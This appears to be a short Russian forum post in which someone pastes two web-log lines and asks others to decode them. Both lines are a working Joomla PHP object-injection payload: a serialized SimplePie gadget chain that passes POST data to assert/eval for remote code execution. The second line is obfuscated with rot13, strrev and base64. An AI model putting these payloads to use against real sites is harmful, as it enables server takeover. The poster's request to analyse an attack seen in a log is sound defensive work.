строки в логе следующие:
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:57:\x22eval(base64_decode($_POST[s]));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"
и
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:102:\x22eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST[s]))))));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"

расшифруйте, кто знает